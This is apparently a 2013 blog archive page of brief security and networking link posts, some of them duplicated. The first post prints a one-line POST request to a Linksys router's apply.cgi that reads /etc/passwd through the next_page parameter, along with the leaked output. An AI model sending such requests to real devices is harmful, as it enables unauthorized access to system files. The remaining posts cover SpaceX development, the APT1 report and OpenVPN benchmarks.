Archive for the 'Computers' Category
		
 	  
		
				
				
				Sunday, April 14th, 2013
				
				
					the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…
				 
		
				Posted in linksys, networking, Security |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Sunday, March 24th, 2013
				
				
					interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]
				 
		
				Posted in development, Linux, management, process, software |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Sunday, March 24th, 2013
				
				
					interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]
				 
		
				Posted in development, Linux, management, process, software |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Wednesday, March 20th, 2013
				
				
					paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read
				 
		
				Posted in infosec, mental, model, Security |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Wednesday, March 20th, 2013
				
				
					paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read
				 
		
				Posted in infosec, mental, model, Security |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Wednesday, February 20th, 2013
				
				
					report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…
				 
		
				Posted in china, government, infosec, Security |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Wednesday, February 20th, 2013
				
				
					report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…
				 
		
				Posted in china, government, infosec, Security |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Tuesday, February 19th, 2013
				
				
					http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.
				 
		
				Posted in Linux, Security, sysadmin |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Tuesday, February 19th, 2013
				
				
					http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.
				 
		
				Posted in Linux, Security, sysadmin |   Comments Off | permalink 
 
				
				
			 
	
				
				
				Thursday, January 10th, 2013
				
				
					Notes about OpenVPN performance testing.  Results, in short:  easy to saturate 100Mbit network on common hardware.  Possible to do a near wire-line speed on 1Gbit network (needs recent version of openssl-1.0a, fresh intel CPU that does AES in hardware …
				 
		
				Posted in 10G, AES, AES-NI, benchmark, intel, network, openvpn, performance, Security, shortcut:openvpn, testing, vpn |   Comments Off | permalink